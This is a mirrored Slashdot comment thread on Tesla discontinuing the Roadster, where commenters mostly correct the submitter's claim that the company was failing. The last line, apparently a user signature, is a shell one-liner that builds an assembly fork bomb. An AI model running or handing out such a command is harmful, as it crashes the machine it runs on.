Slashdot Mirror
Tesla Will Discontinue the Roadster
Attila Dimedici writes "Tesla has announced that their business model has failed. Their basic idea was to sell a boutique electric car to fund the development of a regular consumer electric car. With this announcement they are saying that they did not sell enough of the Roadster to make producing it profitable. If that is the case, it is only a matter of time until Tesla closes its doors. I thought their approach was the most likely to create a successful fully electric car. Although it is possible that the technology they have developed will allow the existing car companies to develop successful fully electric cars, it is a shame that Tesla has failed to become a successful car manufacturer." CT: As a huge number of you pointed out, the linked article is not nearly as doom and gloom as the submitter: Tesla isn't locking the doors and throwing away the keys, they plan on selling a $80k sedan in 2012 with a 300 mile range.
it is a shame that Tesla has failed
Doesn't make any sense if you read the linked article.
From TFA:
Tesla Motors (TSLA) will stop taking orders for the car in the U.S. in about two months as the carmaker focuses on its Model S electric sedan
Further:
the two seat Tesla Roadster sports car was never intended to be a huge seller. Tesla reported sales of 1,650 Roadsters worldwide by the end of April, 2011.
And
Tesla's next big thing: Tesla's roadster production is coming to halt as the maker of battery-powered cars switches its focus to the upcoming Model S electric sedan.
There is absolutely no indication in the provided article that Tesla is going away. They are just stopping the roadster so they can focus on a new car, which was part of their long-term plan some time ago.
In other words, things are going as planned for Tesla. People claiming this is the end of the company are just spouting FUD for whatever reason.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
This summary seems to have nothing at all to do with the article.
The article says they they are focusing on the Model S, their new luxury sedan. He obviously didn't read the article that he linked.
The linked article implies that their business model for the roadster has succeeded, and they now have the cash reserves to switch production over to making a more affordable car, exactly the opposite of the conclusion drawn in the summary.
A pizza of radius z and thickness a has a volume of pi z z a
The article says they're working on a sedan that costs less. I don't see any indication that Tesla is going out of business.
The summary is -- as is so often the case, but I really would expect better here -- not only wrong, but *exactly wrong*.
It is Pessimal.
The article says they're stopping production of the roadster to focus on the S. It says nothing about anything failing.
From TFA: Tesla's next big thing: Tesla's roadster production is coming to halt as the maker of battery-powered cars switches its focus to the upcoming Model S electric sedan. The first sales of the Model S sedan are expected to begin around the middle of 2012. At a starting price of about $58,000, the base model will have a driving range of 160 miles.
Didn't Tesla say at one point that the cars they built were more about testing and demonstrating the technology behind electric vehicles, and that the real money was to be made in licensing the technology to other car makers?
Also, doesn't TFA state that the Model S is still going ahead as planned, even if the Roadster is not?
make cars people can afford. .... make a RegularCar, that I can buy for 75k
"People" cannot afford a 75K car. I make a good living and even I cannot afford a 75K car. (Actually, I do not want to afford one because it would literally drain my wallet.)
Every time I start to have faith in humanity, I ruin it by driving to work between 7 and 8 am.
The news bit linked only says they've stopped producing a car, intended to be low volume, to focus on a sedan designed of higher volume. While they may or not be successful, nothing ITFA says "there business model has failed."
It'd be nice if some actually read the submission before... oh wait, this is /.
I'm a consultant - I convert gibberish into cash-flow.
Tesla is not closing or going away. Some idiot here at slashdot didn't bother to read the linked article. If they had, they would realize that this is not the end for Tesla as a company, just the end of a vehicle that was too expensive for many people to buy.
Furthermore, anyone who knows anything about Tesla knows that this has been part of their plan for some time. Build a roadster to get the technology working - and to show to the public that it really is as good as claimed - and then discontinue it to focus on a family sedan. Their first car achieved brand recognition and proof of concept, while bringing in investors. Now they are retooling and setting up a new shop to show that they can make it work on a larger scale.
Unfortunately, they have already sold out in part to a traditional auto maker, so how far they will be able to go unhindered is anyone's guess.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
First the article title sucks and the summary is worse.
They are not going out of business, not yet at least. They are going to stop producing the roadster which had a very limited market and work on getting their sedan out.
As to the person I am replying too, it is not the big American three that are at fault, as far as I can tell each continent it quite adept at producing and buying gas guzzlers. In fact while the average person in Europe might be keen on efficient small cars Europe is the land of gas guzzling exotics. I guess the little people should be happy with their itty bitty cars while the rich and powerful blissfully ignore any such concerns.
Don't pile accolades on Tesla, they have yet to prove they can deliver this sedan and have a sustainable business models. All the dreams in the world amount to nothing if they don't come to fruition. Just because someone claims they can solve the problems of the world does not excuse them from actually delivering. Seems to me that vaporware is very common in most industries and far too many investor's lose their shirts over well executed glossy presentations.
* Winners compare their achievements to their goals, losers compare theirs to that of others.
Now make a RegularCar, that I can buy for 75k, and I'll have one in the driveway tomorrow
The actual article - which sadly the slashdot editor apparently made no attempt whatsoever to read in any way, shape, or form - says that is exactly what they are working on next.
Actually, they'll do you one better. The Tesla model S (for sedan) will start at $58k. Some details are in the article; you can get a 300 mile range version for around $80k. If you look up information on it, you can find prototype pictures, it looks like a Jaguar XJ or XF sedan of the current generation.
However, there is a wait list. You won't have it tomorrow, but if you go put some money down, you can have one when one is ready for you.
Damn_registrars has no butt-hole. Damn_registrars has no use for a butt-hole.
>Subby writes bad summary totally at odds with the meat of an article - probably didn't read the article and submits it anyway.
>gets "voted up" in the firehose by idiots that didn't read the article.
>gets posted on the front page by an "editor" that didn't read the article.
There are 3 layers of fail here, all of them inexcusable.
>Slashdot readers actually read the article and call Subby and the editor stupid
The Apocalypse is here.
--
BMO
I agree - the summary is completely incongruous with the article. My understanding was that Tesla was always going to make a sedan after the roadster. According to the article, they are doing exactly that. Doing exactly what you planned to be doing sounds like success to me.
The fact that they are discontinuing the roadster seems peripheral, although one may ask why they would discontinue them if they were profitable. Perhaps they don't have enough capital to tool more than one production line at a time? Perhaps the sedan is expected to be more lucrative and they don't want to pay the opportunity cost of continuing to make roadsters.
Scientists point out problems, engineers fix them
altslashdot.org: The future of slashdot.
Well: there's a surprise. Summary says: Tesla announces business model has failed and bankrupcy imminent.
Meanwhile, in the real world, Tesla's stock is up in an down market. The company is trading comfortably above its six month average price. The company, IIRC, always said that there would only be 2,500 Roadsters made...
Next year, the Model S will launch. The company has thousands of preorders, with people having put real money down.
The Model S may, of course, fail miserably. But the absurd FUD in the summary is ridiculous.
--- My dad's political betting
This was Tesla's plan for a while now, and the article says nothing about their business model failing. The cannot use the government funds they were given to develop a sports car, it must be used for the Model S. Also they based the Roadster on the Elise Chassis, and Lotus has quit making them. This isn't reddit or I'd down vote for the horrific summary. There is lots of info in their IPO filing, and elsewhere..
Also the basis of the business model for the Roadster was to smash the image of the electric car being a hippie-green eco-shitbox, which most electric car's to date have been. That was a resounding success.
http://www.teslamotors.com/about/press/releases/tesla-gets-loan-approval-us-department-energy
http://www.allcarselectric.com/news/1042150_tesla-roadster-production-to-end-in-2011-new-version-expected-in-2013
#740..
The Lotus Elise, which closely resembles and was the initial test mule for the Roadster, costs around 40k US, and that's a standard gasoline engine. How the hell would Tesla get their tech anywhere near 30k?
It doesn't mean much now, it's built for the future.
That's the problem with bleeding edge technology. It's priced to recoup the R&D that went in to it. Also 400lbs of lithium ion batteries isn't cheap. The average laptop battery is about half a pound and costs $50 at e-retail, and there isn't much margin in that.
moox. for a new generation.
You can tell the Roadster served it's purpose because "Besides building its own cars, Tesla has a business partnership with Toyota Motor Co (TM) to produce a plug-in electric version of the RAV4 SUV and a deal with Daimler (DDAIF) to provide batteries for an electric version of the Smart ForTwo minicar."
That's Toyota, developer of the Prius, admitting that Tesla have technology and know-how that they need. That's what the Roadster bought Tesla.
'This writing business. Pencils and what-not. Over-rated if you ask me. Silly stuff. Nothing in it' - Eeyore
Tesla has in fact succeeded with most of their goals for the Roadster:
Created a good looking, high performance, pure electric vehicle that both proved the advances in electric car tech and that electric cars can be a viable alternative for some people NOW.
Admittedly the Roadster is not viable for everyone- lack of cargo space and lack of real range being the biggest problems.
But they PROVED that a pure electric can also be a GOOD, enjoyable car.
Something that no other manufacturer has done.
Since their business model was to use the Roadster to test and prove tech in small numbers and create buzz about the product and company and then stop production in favor of more mass-market friendly models.... well, so far they are doing exactly what they intended, and doing so successfully so far.
Strange situation here- I am not a fan of pure electrics as they don't meet my needs and I don't care for the increased pollution they cause in most of the US (electric generation plants are not exactly the "greenest" things around, not to mention battery disposal!) but Tesla has improved automotive tech for both pure electric and Hybrid (which I DO see as truly viable in the real world) and has so far been a very successful company.
Cowboy Neal needs to slap Attila Dimedici down for being an idiot, methinks.
Yes - I don't see how this article indicates that the business model has failed at all. I think, if anything, it has succeeded wildly - my guess is that the Roadster was likely less of a "fundraiser" than as a "halo car" for marketing. If you want to sell your tech to potential partners (Their partners list includes Daimler and Toyota) it helps a LOT to have a widely recognized vehicle.
A lot of times "halo cars" fail - but for Tesla it seems to have succeeded. They now have partnerships with major automotive manufacturers to license their tech. (Toyota RAV4 EV, SMART EV, Mercedes A-Class E-Cell).
retrorocket.o not found, launch anyway?
http://www.evnut.com/gasoline_oil.htm
"So I can get 24 miles in my ICE on a gallon of gasoline, or I can get 41 miles (at 300wh/mile) in my RAV4EV just using the energy to refine that gallon. Alternatively - energy use (electricity and natural gas) state wide goes DOWN if a mile in a RAV4EV is substituted for a mile in an ICE!"
A 21st century issue: the irony of technologies of abundance in the hands of those still thinking in terms of scarcity.
I think he meant monopoly money. :-D
But Canadian dollars are worth even more that US ones!
PlusFive Slashdot reader for Android. Can post comments.
Except that Toyota already decided that if you shrink the gas engine to 0 and go all-electric, Tesla's tech was better than their own. Much of that was likely thanks to the Roadster.
retrorocket.o not found, launch anyway?
I heard that the Roadster was always going to be a limited production run. Tesla got the frame and body from Lotus; paying them to run an production line that otherwise would have been temporarily surplus. But Lotus now has their own uses for that line so Tesla can't buy the chassis / body from them anymore.
Continuing roadster production now would drain their cash because they'd have to license the right to built the frame / body from Lotus then fund a new production line for it. Instead they want to focus on their next step, making a production line for the Tesla S sedan.
The Roadster is much closer to the Elise SC (performance wise, at least), which retails for around 70K$
Tesla's Roadsters are built on a Lotus chassis. Since Lotus is discontinuing that model, Tesla won't be able to make more Roadsters. It really is that simple.
The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
Had they failed, unemployment would have skyrocketed, and we'd be in the depths of depression instead of just recession. I know it's trendy and hip to be on the "Free Markets or Bust" bandwagon these days, but maybe you should actually look at what the domino effect of your desires would actually do.
Considering that approximately 66% of electricity in the US is generated by fossil fuels, electric cars are not really much of an alternative. Just because you don't burn fossil fuels directly in the car doesn't mean they are not dependent on fossil fuels.
Maybe, but two things:
1). Power plants are much more efficient at converting fossil fuels to power than a bunch of individual engines.
2). The thing with electricity is that the sources can be changed out for cleaner ones without most of the consumers noticing. So while now that number is 66%, in the years to come it is expected to drop.
till they outlaw gasoline, which I don't envision in my lifetime.
You gas powered vehicle is safe, just like your light bulbs are safe. The government would never force you, by law, to use some Chinese made replacement.
Who would win this election: Andrew Weiner vs Andrew Weiner's weiner.
Yeah. Makes you wonder why Ferrari doesn't just sell a stripped-down version for $20k too.
The platform that the Tesla Roadster was built on is going away. That's why Tesla isn't building on it any more. They'll do another sports car at some point - probably all in-house - that won't have this problem.
!story.
You're special forces then? That's great! I just love your olympics!
Why do you see some hot shot kid in a Porsche, while they live in a low rent apartment.
Drug dealer. He has to live there because any place better neighbors would notice and report the traffic coming and going.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
Not the same difference, the power plant is far more efficient than your car.
Keep in mind that calling it a "sedan" may give the wrong impression that it's going to be like a Toyota Corolla.
It's going to be more like a BMW "luxury sports-sedan", which only makes sense to try to go for that market given that it's priced as though in that market. Quite a few people find those pretty sexy, and will probably find the high acceleration rate of the Tesla offering to be a nice sexy icing on the sexy cake too.
The enemies of Democracy are
Wonder if someone is an Oil industry shill?
http://www.pctechs.org/tag/attila-dimedici/
Someone seems a bit too much pro-fossil fuel.
Lotus is phasing out the current-gen Elise entirely for a butt-ugly, heavy thing :-(
Their whole lineup from 2013 onward will be heavy, and many of their new cars will be ugly.
"When information is power, privacy is freedom" - Jah-Wren Ryel
Actually did the math on this one for a paper a few months back. Here's how it breaks down:
-The average efficiency of internal-combustion engines is about 18-20%, with a mathematical limit of 37%. ICEs in cars almost never operate at their peak efficiency.
-The oldest, dirtiest, crappiest coal plant is 33% efficient, and 6.5% of that is lost in transmission - still more efficient than an efficient ICE running in real-world conditions
-The large motors in electric cars are up to 99.99% (!) efficient. So even a particularly terrible coal plant, with an average grid and electric car, will use less energy
-Now, a new combined-cycle natural gas power plant operates at 50+% efficient, pulling the overall real-world efficiency well over even the theoretical maximum for an ICE.
We haven't even considered that as we come up with better ways to make power, they can be swapped out in the grid without modifying the car in the slightest. Throw solar or a nuke plant in your local grid? Everyone's car is now powered more efficiently. You can't do that for millions of small ICEs, without an expensive "cash for clunkers" program.
You discount, well, just about everything by claiming that fossil fuels are all the same, regardless of what they are or where they're burned. We may depend on fossil fuels, but almost no power plants burn oil. It's mostly natural gas (produced in Canada or the Northeast US) and coal (produced in the US or Australia).
I have developed a truly marvelous proof of this comment, which this signature is too narrow to contain.
Where are Attila Dimedici's comments where he can justify such an outrageous summary? I think if I submitted a story, I would at least follow the discussion. The impression he is leaving about Tesla closing it's doors is irresponsible at best.
"better ways of doing things eventually just replace the inferior things" - Linus Torvalds 09-08-07
Why did that summary get approved? It's obviously false.
Clearly the vetting and fact checking process was not up to samzenpus's normal high standards.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;